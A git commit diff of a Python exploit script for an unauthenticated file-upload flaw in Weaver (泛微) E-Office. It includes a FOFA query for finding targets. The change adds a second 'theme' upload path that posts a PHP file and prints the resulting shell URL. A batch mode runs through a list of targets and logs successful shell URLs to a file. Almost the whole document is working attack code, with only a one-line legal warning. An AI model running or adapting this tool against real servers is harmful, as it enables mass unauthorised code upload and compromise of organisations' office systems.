Update eoffice_fileupload.py
This commit is contained in:
@@ -1,11 +1,37 @@
|
||||
import requests
|
||||
import sys
|
||||
import re
|
||||
'''
|
||||
fofa:app="泛微-EOffice"
|
||||
请熟读网络安全法,禁止做非授权渗透测试
|
||||
|
||||
本工具共尝试2种上传路径,均失败后显示上传失败
|
||||
|
||||
md5('1232123213') == 8942939b31e8dd5d331784f609e7098a
|
||||
'''
|
||||
def theme_upload(url):
|
||||
uri2 = '/general/index/UploadFile.php?m=uploadPicture&uploadType=theme&userId=1'
|
||||
url_theme = url + uri2
|
||||
header = {
|
||||
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763',
|
||||
}
|
||||
text1 = '''<?php echo md5('1232123213');?>
|
||||
''' #文件内容可自行更改
|
||||
file={'Filedata':('test.php',text1)}
|
||||
|
||||
resp = requests.post(url=url_theme, headers=header, files=file,timeout=5)
|
||||
#resp_text = re.findall(r"{\"name\":\"(.+?php)",resp.text)
|
||||
resp_text = resp.text
|
||||
resp1_text = re.findall(r"{\"name\":\"(.+?php)",resp_text)
|
||||
#print(resp_text)
|
||||
resp_code = resp.status_code
|
||||
shell_url = url + '/images/themes/' + str(resp1_text[0])
|
||||
if resp_code == 200 and '{\"name\":' in resp_text:
|
||||
print(f'[+]theme上传成功:{shell_url}')
|
||||
else:
|
||||
print('[-]theme上传失败,无法利用')
|
||||
|
||||
|
||||
def upload(url):
|
||||
uri = '/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId='
|
||||
url_all = url + uri
|
||||
@@ -21,9 +47,11 @@ def upload(url):
|
||||
resp_code=resp.status_code
|
||||
shell_url=url+'/images/logo/'+resp_text
|
||||
if resp_code ==200 and 'logo-eoffice.php' in resp_text:
|
||||
print(f'[+]上传成功:{shell_url}')
|
||||
print(f'[+]eoffice_logo上传成功:{shell_url}')
|
||||
else:
|
||||
print('[-]上传失败')
|
||||
print('[-]eoffice_logo上传失败,尝试新路径上传')
|
||||
url1 = url
|
||||
theme_upload(url1)
|
||||
except:
|
||||
print('[-]请求错误')
|
||||
|
||||
@@ -34,7 +62,7 @@ def upload_pl(files):
|
||||
for url in f1:
|
||||
url =url.replace('\n','')
|
||||
url_all = url + uri
|
||||
print("测试路径"+url)
|
||||
#print("测试路径"+url_all)
|
||||
header = {
|
||||
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763',
|
||||
}
|
||||
@@ -47,13 +75,15 @@ def upload_pl(files):
|
||||
resp_code = resp.status_code
|
||||
shell_url = url + '/images/logo/' + resp_text
|
||||
if resp_code == 200 and 'logo-eoffice.php' in resp_text:
|
||||
print(f'[+]上传成功:{shell_url}')
|
||||
print(f'[+]eoffice_logo上传成功:{shell_url}')
|
||||
f_success = open('success.txt','a+')
|
||||
f_success.write(shell_url + '\n')
|
||||
f_success.close()
|
||||
continue
|
||||
else:
|
||||
print('[-]上传失败')
|
||||
print('[-]eoffice_logo上传失败,尝试新路径上传')
|
||||
url1 = url
|
||||
theme_upload(url1)
|
||||
except:
|
||||
print('[-]请求错误')
|
||||
|
||||
|
||||
Reference in New Issue
Block a user